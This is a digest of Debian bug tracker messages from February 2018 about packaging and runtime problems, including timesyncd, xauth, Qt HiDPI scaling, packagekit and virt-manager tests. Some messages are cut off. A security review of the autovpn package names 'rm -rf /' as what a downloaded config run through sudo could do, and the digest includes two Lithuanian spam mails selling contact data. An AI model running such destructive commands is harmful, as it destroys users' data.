> Dear Maintainer,
> 
> At startup, the following failures appear:
> 
> [FAILED] Failed to start network time synchronization.
> See 'systemctl status systemd-timesyncd.service' for details.
> 
> After bootup, the command 'timedatectl' produces:
> 
> -
> coringao@debian:~$ timedatectl
>   Local time: dom 2018-02-11 03:03:45 -02
>   Universal time: dom 2018-02-11 05:03:45 UTC
> RTC time: dom 2018-02-11 05:03:46
>Time zone: America/Sao_Paulo (-02, -0200)
>System clock synchronized: yes
> systemd-timesyncd.service active: no
>  RTC in local TZ: no
> -
> 
> So I checked the statuses:
> 
> -
> coringao@debian:~$ systemctl status systemd-timesyncd
> ● systemd-timesyncd.service - Network Time Synchronization
>Loaded: loaded (/lib/systemd/system/systemd-timesyncd.service; enabled; 
> vendor preset: enabled)
>Active: failed (Result: exit-code) since Sun 2018-02-11 02:15:58 -02; 
> 49min ago
>  Docs: man:systemd-timesyncd.service(8)
>   Process: 280 ExecStart=/lib/systemd/systemd-timesyncd (code=exited, 
> status=1/FAILURE)
>  Main PID: 280 (code=exited, status=1/FAILURE)
>Status: "Shutting down..."
> -
> 
> Can anyone explain what the problem is? 

For that we would need a more complete log. You can get that via journalctl.

That said, have you installed and enabled libnss-systemd? If not, please
do so, reboot and report back if systemd-timesyncd still fails.

-- 
Why is it that all of the instruments seeking intelligent life in the
universe are pointed away from Earth?



signature.asc
Description: OpenPGP digital signature

Bug#890771: running ntpsec in container

[Daniel Baumann]

Hi Richard,

On 02/19/2018 09:42 AM, Richard Laager wrote:
>> Try --enable_lockclock and a local refclock.
> 
> Are you able to try this?

i've added that to debian/rules, but it fails with:

  waf: error: no such option: --enable_locklock

i've tried with latest upstream git, no luck either. also, just to be on
the safe side, i also tried both with --enable-locklock (just in case
this would have been a typo), didn't work either.

Regards,
Daniel

Bug#881050: ltsp-server: After boot only a black screen

[gazetka ZST]

Try:


killall -s 9 sh

in rc.local on client to kill ldm init script

my suspect: ldmgtkgreet not starting

Bug#884934: xauth's segfault delays startx's start and exit

[Carlos Eduardo Moreira dos Santos]

I'm still having this issue. I'm adding the xauth's strace while running
startx and quitting i3 wm.

On Thu, Dec 21, 2017 at 1:40 PM, Carlos Eduardo M. Santos <
c...@cemshost.com.br> wrote:

> Package: xauth
> Version: 1:1.0.10-1
> Severity: important
>
> Dear Maintainer,
>
> Since the upgrade (and dist-upgrade) from stretch to buster, startx delays
> to
> start and also to exit, everytime. The first message in the systemd
> journal after I run startx is:
>
> kernel: xauth[12556]: segfault at 1 ip 7f058e06d405 sp
> 7fff095bb9e8 error 4 in libc-2.25.so[7f058dfd7000+199000]
>
> The numbers vary, but it is always "at 1 ip" and "error 4". In the tty,
> after the initial delay and right before launching X, there's a message
> complaining that xauth couldn't lock .Xauthority.
>
> After quitting wm (i3), there's also another delay and, before running
> startx again, I have to remove the generated .Xauthority-*. If I run
> startx with the .Xauthority-* files, there's an even higher startup
> delay. In this case, strace shows that xauth keeps complaining about
> already-existent .Xauthority-* files.
>
>
> -- System Information:
> Debian Release: buster/sid
>   APT prefers testing
>   APT policy: (500, 'testing')
> Architecture: amd64 (x86_64)
>
> Kernel: Linux 4.13.0-1-amd64 (SMP w/4 CPU cores)
> Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8),
> LANGUAGE=en_US.UTF-8 (charmap=UTF-8)
> Shell: /bin/sh linked to /bin/dash
> Init: systemd (via /run/systemd/system)
>
> Versions of packages xauth depends on:
> ii  libc6 2.25-3
> ii  libx11-6  2:1.6.4-3
> ii  libxau6   1:1.0.8-1+b2
> ii  libxext6  2:1.3.3-1+b2
> ii  libxmuu1  2:1.1.2-2
>
> xauth recommends no packages.
>
> xauth suggests no packages.
>
> -- no debconf information
>



--
execve("/usr/bin/xauth", ["/usr/bin/xauth", "-q", "-f", 
"/tmp/serverauth.sQy7mvbiGk"], 0x7ffc95826698 /* 38 vars */) = 0
brk(NULL)   = 0x55955c6f9000
access("/etc/ld.so.nohwcap", F_OK)  = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R_OK)  = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=113483, ...}) = 0
mmap(NULL, 113483, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fbdea488000
close(3)= 0
access("/etc/ld.so.nohwcap", F_OK)  = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/libX11.so.6", O_RDONLY|O_CLOEXEC) = 
3
read(3, 
"\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\240\335\1\0\0\0\0\0"..., 832) = 
832
fstat(3, {st_mode=S_IFREG|0644, st_size=1310288, ...}) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 
0x7fbdea486000
mmap(NULL, 3407224, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 
0x7fbde9f4
mprotect(0x7fbdea07a000, 2097152, PROT_NONE) = 0
mmap(0x7fbdea27a000, 24576, PROT_READ|PROT_WRITE, 
MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x13a000) = 0x7fbdea27a000
close(3)= 0
access("/etc/ld.so.nohwcap", F_OK)  = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/libXau.so.6", O_RDONLY|O_CLOEXEC) = 
3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0`\16\0\0\0\0\0\0"..., 
832) = 832
fstat(3, {st_mode=S_IFREG|0644, st_size=14528, ...}) = 0
mmap(NULL, 2109728, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 
0x7fbde9d3c000
mprotect(0x7fbde9d3e000, 2097152, PROT_NONE) = 0
mmap(0x7fbde9f3e000, 8192, PROT_READ|PROT_WRITE, 
MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x2000) = 0x7fbde9f3e000
close(3)= 0
access("/etc/ld.so.nohwcap", F_OK)  = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/libXext.so.6", O_RDONLY|O_CLOEXEC) 
= 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0007\0\0\0\0\0\0"..., 
832) = 832
fstat(3, {st_mode=S_IFREG|0644, st_size=73424, ...}) = 0
mmap(NULL, 2169112, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 
0x7fbde9b2a000
mprotect(0x7fbde9b3b000, 2093056, PROT_NONE) = 0
mmap(0x7fbde9d3a000, 8192, PROT_READ|PROT_WRITE, 
MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1) = 0x7fbde9d3a000
close(3)= 0
access("/etc/ld.so.nohwcap", F_OK)  = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/libXmuu.so.1", O_RDONLY|O_CLOEXEC) 
= 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0 \24\0\0\0\0\0\0"..., 
832) = 832
fstat(3, {st_mode=S_IFREG|0644, st_size=18600, ...}) = 0
mmap(NULL, 2113728, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 
0x7fbde9925000
mprotect(0x7fbde9928000, 2097152, PROT_NONE) = 0
mmap(0x7fbde9b28000, 8192, PROT_READ|PROT_WRITE, 
MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x3000) = 0x7fbde9b28000
close(3)= 0
access("/etc/ld.so.nohwcap", F_OK)  = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib/x86_64-l

Bug#884956: Now hidpi scaling is even more broken

[Lisandro Damián Nicanor Pérez Meyer]

El 19 feb. 2018 4:15 a.m., "wm4"  escribió:

On Sun, 18 Feb 2018 15:25:35 -0300
Lisandro Damián Nicanor Pérez Meyer  wrote:

> I've been digging around and:
>
> - One user (wm4, CCed) reported that the fix broke his setup. wm4: can you
> please test -12 with a new user without any change to any setup?
>
> - One user that did not see any change (Vincent, CCed).
>
> - One user and fellow developer Dmitry (auto CCed) which found that for
him
> -12 works better than -10. He also tested that using
>
>   QT_AUTO_SCREEN_SCALE_FACTOR=0
>
> makes VLC work as -12 without that variable set in both -10 or -12,
meaning
> that the patch indeed helps him.
>
> wm4, Vincent: can you try setting QT_AUTO_SCREEN_SCALE_FACTOR=0 ? mw4: in
your
> case I would like you to test in your normal user and in the new user I
asked
> you about above.
>
> I acknowledge that the bug is still there, but as long as we do not have
> strong evidence that it backfires for most people we will keep it around
until
> upstream finds a proper fix.
>
> Cheers, Lisandro.
>

No combination of these environment variables restores behavior. Please
unbreak this.


That's totally strange because that environment variable is supposed to
override that value. Have you tried by creating a new user?

Bug#890816: ITP: autovpn -- Connect to a VPN in a country of your choice

[Steve Kemp]

>   Version : 0.0~git20170129.72dd7f6-1
>   Upstream Author : Adhityaa C 
> * URL : https://github.com/adtac/autovpn
..
> autovpn is a tool to automatically connect you to a random VPN
> in a country of your choice. It uses openvpn to connect you to a server
> obtained from VPN Gate (http://www.vpngate.net/en/).

  I'd strongly urge you to reconsider packaging this project, for
 three main reasons:

  * It relies upon the external VPNGate.net site/service.  If this
goes away in the lifetime of a stable Debian release users will
be screwed.

  * It allows security attacks against the local system, which other
users on the host could exploit via symlink attacks on /tmp/openvpnconf

  * It allows security attacks on against the local system which the
remote service could exploit:

1.  The tool downloads a remote URL to /tmp/openvpnconf

2.  The file is then given as an argument to the command:
sudo openvpn /tmp/openvpnconf

3.  That generated/downloaded openvpn configuration file could
   be written to do anything, up to and including `rm -rf /`.

> A small tool that comes handy in particular for people who travel a lot. Will
> be maintained in the go-team.

  Finally the project itself notes:

"This is completely insecure. Please do not use this for anything
important. Get a real and secure VPN. This is mostly a fun tool to
get a VPN for a few minutes."

Steve
-- 

Bug#889608: Continuing to get core dumps with man-db

[Colin Watson]

On Mon, Feb 19, 2018 at 10:15:47AM +, Colin Watson wrote:
> Do you have an unusual libc or a modified libpipeline or something?  The
> sequence of system calls that your trace shows at the point where
> libpipeline should be calling execvp for nroff doesn't correspond to any
> libc implementation I can find, and the failure comes when it tries to
> open a Unix-domain socket in the middle of the execvp sequence which is
> just weird.

Ah, you're using an antivirus program.  Do mention that in bug reports
in future, since I spent a non-trivial amount of time digging to find
this out!  Please try git master, which has this patch:

  
https://git.savannah.gnu.org/cgit/man-db.git/commit/?id=6ed6c9f92ab8f981aa1aa664f7e607bcd540ad44

-- 
Colin Watson   [cjwat...@debian.org]

Bug#890728: nmap: zenmap (as root) .desktop file missing.

[Raphael Hertzog]

Hello,

On Sat, 17 Feb 2018, David Britton wrote:
> In Ubuntu, the attached patch was applied to achieve the following:
> 
> The .desktop file for running zenmap as root does not function correctly
> without the 'menu' package that provides the `su-to-root` binary.  This
> patch simply adds 'menu' as a dependency of the zenmap binary package.
> 
>   * debian/control: Add dependency menu for zenmap. (LP #126331)
> 
> Thanks for considering the patch.

Thanks for the report. But the menu package is something that we should
really phase out and try to avoid so I would suggest to switch to pkexec
instead and to add a "Recommends: policykit-1" which is likely already
satisfied on most desktops.

Cheers,
-- 
Raphaël Hertzog ◈ Debian Developer

Support Debian LTS: https://www.freexian.com/services/debian-lts.html
Learn to master Debian: https://debian-handbook.info/get/

Bug#864638: Direktoriaus kontaktai - tai Jūsų klientas

[Gautas pranešimas]

Laba diena,


Noriu Jus informuoti apie šių metų pasikeitimą dėl atnaujintos visos Lietuvos 
įmonių bazės 2018 metų sausio vidurio.
Visi juridiniai asmenys pateikti bazėje yra veikiantys, realiai vykdantys 
veiklą, turintys įdarbintų darbuotojų. Duomenys pagal Sodrą, Registrų centrą.
 
Bazėje nurodoma ir apyvarta, darbuotojų atlyginimai, darbuotojų skaičius, 
transporto skaičius ir daug kitų duomenų, kuriuos matysite pavyzdyje.
 
Duomenis galima filtruoti pagal veiklas, miestus ir kitus duomenis.
 
 
Šią bazę verta turėti visoms įmonėms. Pateiksiu priežastis:
 
1) Kontaktai pateikti bazėje direktorių ir kitų atsakingų asmenų, didelė 
tikimybė Jums surasti naujų klientų, partnerių, tiekėjų, kai tiesiogiai 
bendrausite su direktoriais, komercijos vadovais.
 
2) Konkurentų analizavimas, tiekėjų atsirinkimas pagal Jums reikalingus 
kriterijus, galite atsifiltruoti pagal įmonės dydį, bazėje nurodoma kiek įmonės 
skolingos Sodrai.
 
3) Lengva, greita ir patogu dirbti su šia baze, elektroninius pašto adresus 
galite importuoti į elektroninių laiškų siuntimo programas ar sistemas iš kurių 
siunčiate elektroninius laiškus.
Taip pat galite importuoti mobiliųjų telefonų numerius į SMS siuntimo programas.
 
 
Išsirinkite iš "Veiklų sąrašo" veiklas kurių Jums reikia.
( Sąrašas prisegtas laiške excel faile )
 
Parašykite, kurias veiklas išsirinkote 
ir atsiųsime pavyzdį ir pasiūlymą su sąlygomis įmonių bazei įsigyti



Pagarbiai,
Tadas Giedraitis
Tel. nr. +37067881041


Veiklos.xlsx
Description: Binary data

Bug#884956: Now hidpi scaling is even more broken

[wm4]

On Mon, 19 Feb 2018 07:54:11 -0300
Lisandro Damián Nicanor Pérez Meyer  wrote:

> El 19 feb. 2018 4:15 a.m., "wm4"  escribió:
> 
> On Sun, 18 Feb 2018 15:25:35 -0300
> Lisandro Damián Nicanor Pérez Meyer  wrote:
> 
> > I've been digging around and:
> >
> > - One user (wm4, CCed) reported that the fix broke his setup. wm4: can you
> > please test -12 with a new user without any change to any setup?
> >
> > - One user that did not see any change (Vincent, CCed).
> >
> > - One user and fellow developer Dmitry (auto CCed) which found that for  
> him
> > -12 works better than -10. He also tested that using
> >
> >   QT_AUTO_SCREEN_SCALE_FACTOR=0
> >
> > makes VLC work as -12 without that variable set in both -10 or -12,  
> meaning
> > that the patch indeed helps him.
> >
> > wm4, Vincent: can you try setting QT_AUTO_SCREEN_SCALE_FACTOR=0 ? mw4: in  
> your
> > case I would like you to test in your normal user and in the new user I  
> asked
> > you about above.
> >
> > I acknowledge that the bug is still there, but as long as we do not have
> > strong evidence that it backfires for most people we will keep it around  
> until
> > upstream finds a proper fix.
> >
> > Cheers, Lisandro.
> >  
> 
> No combination of these environment variables restores behavior. Please
> unbreak this.
> 
> 
> That's totally strange because that environment variable is supposed to
> override that value. Have you tried by creating a new user?

Yeah, that is strange. I didn't create a new user, because that would
change nothing. I made sure to override all environment variables for
the test. I can't test anymore because after fighting Debian's
absolutely crappy package manager to make it downgrade to testing's
Qt packages, it works again. (And I'll defend my word choice "crappy".
Why can't it figure out transitive dependencies? It's just bad.
aptitude didn't behave better.)

Bug#890819: packagekit: Update while booting always fails

[Joel Cross]

Package: packagekit
Version: 1.1.7-1
Severity: important

Dear Maintainer,

I update my (sid) distro on roughly a weekly basis using pkcon (packagekit-
tools). The command I use is as follows:
sudo apt update && pkcon update -d && pkcon offline-trigger
I then proceed to restart my system, which does a complete update while the
system boots up.

Recently (a little over a month ago), this has stopped working. The initial
command downloads fine and everything appears to work OK, but when I restart I
see the update message for about a second, then the system restarts without
applying the update.

Output of the command `pkcon offline-status` is as follows:
Status: Failed
ErrorCode:failed-initialization
ErrorDetails:The package id's 'adduser;3.117;all;debian-unstable-
main&ansible;2.4.3.0+dfsg-1;all;debian-unstable-main&augeas-
lenses;1.10.1-1;all;debian-testing-main&avahi-autoipd;0.7-3.1;amd64;debian-
unstable-main&avahi-daemon;0.7-3.1;amd64;debian-unstable-
main&awscli;1.14.32-1;all;debian-unstable-main&baobab;3.26.1-3;amd64;debian-
unstable-main&binutils;2.30-1;amd64;debian-unstable-main&binutils-
common;2.30-1;amd64;debian-unstable-main&binutils-x86-64-linux-
gnu;2.30-1;amd64;debian-unstable-main&blt;2.5.3+dfsg-4;amd64;debian-testing-
main&caribou;0.4.21-5;amd64;debian-unstable-main&ccache;3.3.6-1;amd64;debian-
testing-main&cdparanoia;3.10.2+debian-13;amd64;debian-testing-main&chrome-
gnome-shell;10-1;all;debian-unstable-main&console-setup;1.177;all;debian-
unstable-main&console-setup-linux;1.177;all;debian-unstable-
main&cpp-5;5.5.0-8;amd64;debian-unstable-main&dconf-
editor;3.26.2-3;amd64;debian-unstable-main&debhelper;11.1.4;all;debian-
unstable-main&dns-root-data;2018013001;all;debian-unstable-main&exfat-
fuse;1.2.8-1;amd64;debian-unstable-main&exfat-utils;1.2.8-1;amd64;debian-
unstable-main&exim4;4.90-5;all;debian-unstable-
main&exim4-base;4.90-5;amd64;debian-unstable-
main&exim4-config;4.90-5;all;debian-unstable-main&exim4-daemon-
light;4.90-5;amd64;debian-unstable-
main&firebird3.0-common;3.0.3.32900.ds4-1;all;debian-unstable-
main&firebird3.0-common-doc;3.0.3.32900.ds4-1;all;debian-unstable-
main&firebird3.0-server-core;3.0.3.32900.ds4-1;amd64;debian-unstable-
main&firebird3.0-utils;3.0.3.32900.ds4-1;amd64;debian-unstable-
main&firefox;58.0.1-1;amd64;debian-unstable-main&firefox-l10n-en-
gb;58.0.1-1;all;debian-unstable-main&five-or-more;1:3.26.0-3;amd64;debian-
unstable-main&fonts-opensymbol;2:102.10+LibO6.0.0-1;all;debian-testing-
main&four-in-a-row;1:3.22.2-3;amd64;debian-unstable-
main&gcc-5;5.5.0-8;amd64;debian-unstable-main&gcc-5-base;5.5.0-8;amd64;debian-
unstable-main&gcc-5-base;5.5.0-8;i386;debian-unstable-
main&gcc-5-multilib;5.5.0-8;amd64;debian-unstable-main&gconf-defaults-
service;3.2.6-4.1;amd64;debian-unstable-main&gconf-
service;3.2.6-4.1;amd64;debian-unstable-main&gconf2;3.2.6-4.1;amd64;debian-
unstable-main&gconf2-common;3.2.6-4.1;all;debian-unstable-
main&gir1.2-caribou-1.0;0.4.21-5;amd64;debian-unstable-
main&gir1.2-geocodeglib-1.0;3.25.4.1-4;amd64;debian-unstable-
main&gir1.2-gnomebluetooth-1.0;3.26.1-3;amd64;debian-unstable-
main&gir1.2-goa-1.0;3.26.2-2;amd64;debian-unstable-
main&gir1.2-lokdocview-0.1;1:6.0.0-1;amd64;debian-testing-
main&gir1.2-secret-1;0.18.5-6;amd64;debian-unstable-
main&gir1.2-telepathyglib-0.12;0.24.1-2;amd64;debian-unstable-
main&gir1.2-telepathylogger-0.2;0.8.2-3;amd64;debian-unstable-
main&gir1.2-upowerglib-1.0;0.99.7-2;amd64;debian-testing-main&gnome-
bluetooth;3.26.1-3;amd64;debian-unstable-main&gnome-
calendar;3.26.3-1;amd64;debian-unstable-main&gnome-
characters;3.26.2-4;amd64;debian-unstable-main&gnome-
chess;1:3.26.0-3;amd64;debian-unstable-main&gnome-clocks;3.26.1-3;amd64;debian-
unstable-main&gnome-disk-utility;3.26.2-2;amd64;debian-testing-main&gnome-
documents;3.26.2-1;amd64;debian-unstable-main&gnome-font-
viewer;3.26.0-3;amd64;debian-unstable-main&gnome-logs;3.26.3-1;amd64;debian-
unstable-main&gnome-mahjongg;1:3.22.0-3;amd64;debian-unstable-main&gnome-
maps;3.26.2-3;amd64;debian-unstable-main&gnome-mines;1:3.26.0-3;amd64;debian-
unstable-main&gnome-music;3.26.1-4;amd64;debian-unstable-main&gnome-
nibbles;1:3.24.0-3;amd64;debian-unstable-main&gnome-online-
accounts;3.26.2-2;amd64;debian-unstable-main&gnome-online-
miners;3.26.0-3;amd64;debian-unstable-main&gnome-shell-
extensions;3.26.2-3;all;debian-testing-main&gnome-
sudoku;1:3.26.0-3;amd64;debian-unstable-main&golang-1.9;1.9.3-1;all;debian-
testing-main&golang-1.9-doc;1.9.3-1;all;debian-testing-
main&golang-1.9-go;1.9.3-1;amd64;debian-testing-
main&golang-1.9-src;1.9.3-1;amd64;debian-testing-main&google-chrome-
stable;64.0.3282.140-1;amd64;google&_inc.-stable-
main&growisofs;7.1-12;amd64;debian-testing-main&hostname;3.20;amd64;debian-
testing-main&id3v2;0.1.12+dfsg-1;amd64;debian-unstable-main&ieee-
data;20180204.1;all;debian-unstable-main&iio-sensor-proxy;2.4-2;amd64;debian-
unstable-main&imagemagick;8:6.9.7.4+dfsg-16.1;amd64;debian-unstable-
main&imagemagick-6-common;8:6.9.7.4+dfsg-16.1;a

Bug#884956: Now hidpi scaling is even more broken

[Vincent Lefevre]

On 2018-02-18 15:25:35 -0300, Lisandro Damián Nicanor Pérez Meyer wrote:
> wm4, Vincent: can you try setting QT_AUTO_SCREEN_SCALE_FACTOR=0 ?

QT_AUTO_SCREEN_SCALE_FACTOR=0 works with -12, just like with -10.

I suspect that different behaviors are due to the fact that among
HiDPI cases, screen sizes, DPI's, etc. are different.

The patch consisted in truncating instead of rounding to nearest,
so that it might have solved the problem for users where the
real factor was between 1.5 and 2, thus changed from 2 to 1
when converted to integer, 1 meaning no HiDPI (for which there
are no issues) if I understand correctly.

I suppose that my real factor is between 2 and 2.5, so that truncating
gives the same result as rounding to nearest. Hence the same behavior.

I don't know what broke for wm4. "With the patch applied, it scales
to 1, which is nonsense." is not very meaningful. This is what happens
for low DPI, for which no issues have been reported.

-- 
Vincent Lefèvre  - Web: 
100% accessible validated (X)HTML - Blog: 
Work: CR INRIA - computer arithmetic / AriC project (LIP, ENS-Lyon)

Bug#884956: Now hidpi scaling is even more broken

[wm4]

On Mon, 19 Feb 2018 12:10:02 +0100
Vincent Lefevre  wrote:

> On 2018-02-18 15:25:35 -0300, Lisandro Damián Nicanor Pérez Meyer wrote:
> > wm4, Vincent: can you try setting QT_AUTO_SCREEN_SCALE_FACTOR=0 ?  
> 
> QT_AUTO_SCREEN_SCALE_FACTOR=0 works with -12, just like with -10.
> 
> I suspect that different behaviors are due to the fact that among
> HiDPI cases, screen sizes, DPI's, etc. are different.
> 
> The patch consisted in truncating instead of rounding to nearest,
> so that it might have solved the problem for users where the
> real factor was between 1.5 and 2, thus changed from 2 to 1
> when converted to integer, 1 meaning no HiDPI (for which there
> are no issues) if I understand correctly.
> 
> I suppose that my real factor is between 2 and 2.5, so that truncating
> gives the same result as rounding to nearest. Hence the same behavior.
> 
> I don't know what broke for wm4. "With the patch applied, it scales
> to 1, which is nonsense." is not very meaningful. This is what happens
> for low DPI, for which no issues have been reported.
> 

Maybe I wasn't clear enough, but I have a HiDPI screen, with a scale
factor (as reported by X11) of approximately 1.9. With -12, it reduced
the sizes of windows and GUI elements by half, and no combination of
environment variables made it scale correctly. I suspect there's some
other scaling factoring in somewhere, which somehow controls font sizes.
Now I'm back to -10 (testing), and I won't upgrade it until the patch
is reverted, so no new tests by me.

Bug#843951: [Pkg-javascript-devel] Bug#843951: [node-async] Please update to version 1.5.2

[Pirate Praveen]

Control: block -1 by 733586

On ശനി 17 ഫെബ്രുവരി 2018 01:17 രാവിലെ, Simon Spöhel wrote:
> Hi Javascript maintainers
> 
> I'm in the process of preparing webodm for Debian which requires
> node-async >= 2.3.
> 
> Do you have any ETA for an updated package in sid?

Newer async depends on lodash-es, which requires lodash-cli to build and
is waiting for a new version of google-closure-compiler



signature.asc
Description: OpenPGP digital signature

Bug#890820: [zabbix-server-mysql] suggest php-mysql in the package

[Jordi Burguet Castell]

Package: zabbix-server-mysql
Version: 1:3.0.12+dfsg-1
Severity: minor

--- Please enter the report below this line. ---

It'd be nice if zabbix-server-mysql suggested php-mysql (in addition
to zabbix-frontend-php, which it already does).

The reason is: if the php-mysql package is not installed, even if
zabbix-frontend-php
is installed there will be no way to actually run it.

(As a side note, I was in the middle of a new zabbix installation and it
took me a while to realize my problems were coming from not having
php-mysql installed.)

The "patch" is simply to modify debian/control to have:

[...]
Package: zabbix-server-mysql
Architecture: any
Depends: ${shlibs:Depends}, ${misc:Depends}, fping, adduser, lsb-base
Recommends: default-mysql-server | virtual-mysql-server, snmpd
   ,nmap
   ,traceroute
Suggests: zabbix-frontend-php, php-mysql, logrotate, sudo
[...]

Finally, this is not only true for version 1:3.0.12+dfsg-1.

Cheers,
Jordi

--- System information. ---
Architecture:
Kernel:   Linux 4.14.0-3-amd64

Debian Release: buster/sid
  500 stable-updates  ftp.es.debian.org
  500 stable  security.debian.org
2 unstableftp.es.debian.org
 1000 testing ftp.es.debian.org

--- Package information. ---
Depends  (Version) | Installed
==-+-

libc6(>= 2.17) |
libcurl3-gnutls(>= 7.16.2) |
libgnutls30 (>= 3.5.6) |
libiksemel3   (>= 1.2) |
libldap-2.4-2   (>= 2.4.7) |
libmariadbclient18(>= 10.1.28) |
libodbc1(>= 2.3.1) |
libopenipmi0   |
libsnmp30  (>= 5.7.3+dfsg-1.7+b2~dfsg) |
libssh2-1 (>= 1.0) |
libxml2 (>= 2.7.4) |
ucf|
fping  |
adduser|
lsb-base   |


Recommends(Version) | Installed
===-+-===
default-mysql-server| 1.0.4
 OR virtual-mysql-server|
snmpd   | 5.7.3+dfsg-1.8
nmap| 7.60+dfsg2-1
traceroute  | 1:2.1.0-2


Suggests  (Version) | Installed
===-+-===
zabbix-frontend-php | 1:3.0.12+dfsg-1
logrotate   | 3.11.0-0.1
sudo| 1.8.21p2-3
snmp-mibs-downloader|

Bug#890821: Multiple tests fail with: Could not define storage pool: operation failed: pool 'tmp' is already defined with uuid 00000000-1111-2222-3333-444444444444

[jean-christophe manciot]

Package: virt-manager
Version: 1:1.4.3-1

Building the sources in a sid chroot with:
debuild -i -I --no-sign --build=binary -j1

leads to:
...
==
ERROR: testCloneGraphicsPassword (tests.clonetest.TestClone)
--
Traceback (most recent call last):
  File
"/home/actionmystique/src/Virt-manager/virt-manager-build/virt-manager-1.4.3-1/tests/clonetest.py",
line 193, in testCloneGraphicsPassword
self._clone_helper(base)
  File
"/home/actionmystique/src/Virt-manager/virt-manager-build/virt-manager-1.4.3-1/tests/clonetest.py",
line 72, in _clone_helper
cloneobj = self._default_clone_values(cloneobj, disks)
  File
"/home/actionmystique/src/Virt-manager/virt-manager-build/virt-manager-1.4.3-1/tests/clonetest.py",
line 94, in _default_clone_values
cloneobj.clone_paths = disks
  File
"/home/actionmystique/src/Virt-manager/virt-manager-build/virt-manager-1.4.3-1/virtinst/cloner.py",
line 153, in set_clone_paths
(path, str(e)))
ValueError: Could not use path '/clone3' for cloning: Could not define
storage pool: operation failed: pool 'tmp' is already defined with uuid
----

==
ERROR: testCloneNvramAuto (tests.clonetest.TestClone)
--
Traceback (most recent call last):
  File
"/home/actionmystique/src/Virt-manager/virt-manager-build/virt-manager-1.4.3-1/tests/clonetest.py",
line 185, in testCloneNvramAuto
self._clone_helper(base)
  File
"/home/actionmystique/src/Virt-manager/virt-manager-build/virt-manager-1.4.3-1/tests/clonetest.py",
line 72, in _clone_helper
cloneobj = self._default_clone_values(cloneobj, disks)
  File
"/home/actionmystique/src/Virt-manager/virt-manager-build/virt-manager-1.4.3-1/tests/clonetest.py",
line 94, in _default_clone_values
cloneobj.clone_paths = disks
  File
"/home/actionmystique/src/Virt-manager/virt-manager-build/virt-manager-1.4.3-1/virtinst/cloner.py",
line 153, in set_clone_paths
(path, str(e)))
ValueError: Could not use path '/clone3' for cloning: Could not define
storage pool: operation failed: pool 'tmp' is already defined with uuid
----

==
ERROR: testCloneNvramNewpool (tests.clonetest.TestClone)
--
Traceback (most recent call last):
  File
"/home/actionmystique/src/Virt-manager/virt-manager-build/virt-manager-1.4.3-1/tests/clonetest.py",
line 189, in testCloneNvramNewpool
self._clone_helper(base)
  File
"/home/actionmystique/src/Virt-manager/virt-manager-build/virt-manager-1.4.3-1/tests/clonetest.py",
line 72, in _clone_helper
cloneobj = self._default_clone_values(cloneobj, disks)
  File
"/home/actionmystique/src/Virt-manager/virt-manager-build/virt-manager-1.4.3-1/tests/clonetest.py",
line 94, in _default_clone_values
cloneobj.clone_paths = disks
  File
"/home/actionmystique/src/Virt-manager/virt-manager-build/virt-manager-1.4.3-1/virtinst/cloner.py",
line 153, in set_clone_paths
(path, str(e)))
ValueError: Could not use path '/clone3' for cloning: Could not define
storage pool: operation failed: pool 'tmp' is already defined with uuid
----

==
ERROR: testCloneStorageForce (tests.clonetest.TestClone)
--
Traceback (most recent call last):
  File
"/home/actionmystique/src/Virt-manager/virt-manager-build/virt-manager-1.4.3-1/tests/clonetest.py",
line 164, in testCloneStorageForce
force_list=["hda", "fdb", "sdb"])
  File
"/home/actionmystique/src/Virt-manager/virt-manager-build/virt-manager-1.4.3-1/tests/clonetest.py",
line 76, in _clone_helper
clone_disks_file=clone_disks_file)
  File
"/home/actionmystique/src/Virt-manager/virt-manager-build/virt-manager-1.4.3-1/tests/clonetest.py",
line 101, in _clone_compare
cloneobj.setup_original()
  File
"/home/actionmystique/src/Virt-manager/virt-manager-build/virt-manager-1.4.3-1/virtinst/cloner.py",
line 295, in setup_original
self._original_disks = self._get_original_disks_info()
  File
"/home/actionmystique/src/Virt-manager/virt-manager-build/virt-manager-1.4.3-1/virtinst/cloner.py",
line 583, in _get_original_disks_info
"information: %s" % str(e)))
ValueError: Could not determine original disk information: Could not define
storage pool: operation failed: pool 'dirpool' is already defined with uuid
----

==
ERROR: testEnumerateLogical (tests.storage.TestStorage)
--
Traceback (most rec

Bug#876193: Direktoriaus kontaktai - tai Jūsų klientas

[Gautas pranešimas]

Laba diena,


Noriu Jus informuoti apie šių metų pasikeitimą dėl atnaujintos visos Lietuvos 
įmonių bazės 2018 metų sausio vidurio.
Visi juridiniai asmenys pateikti bazėje yra veikiantys, realiai vykdantys 
veiklą, turintys įdarbintų darbuotojų. Duomenys pagal Sodrą, Registrų centrą.
 
